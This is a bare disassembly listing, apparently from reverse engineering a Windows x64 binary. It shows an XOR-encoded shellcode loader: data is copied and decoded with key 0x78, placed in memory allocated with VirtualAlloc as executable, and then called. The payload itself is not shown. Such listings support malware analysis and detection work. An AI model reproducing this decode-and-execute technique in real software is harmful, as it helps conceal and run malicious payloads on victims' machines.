lea rdx, [0x007f5040]
mov ecx, 0x31168
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x6228c], 0
jmp 0x4015c1
mov eax, dword [rbp + 0x6228c]
cdqe
movzx eax, byte [rbp + rax - 0x60]
xor eax, 0x78
mov edx, eax
mov eax, dword [rbp + 0x6228c]
cdqe
mov byte [rbp + rax + 0x31110], dl
add dword [rbp + 0x6228c], 1
mov eax, dword [rbp + 0x6228c]
cdqe
cmp rax, 0x31168
jb 0x401599
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x31168
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x62280], rax
mov rax, qword [rbp + 0x62280]
mov rcx, rax
lea rax, [rbp + 0x31110]
mov edx, 0x31168
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp + 0x62280]
call rax
mov eax, 0
add rsp, 0x62310
pop rbp
ret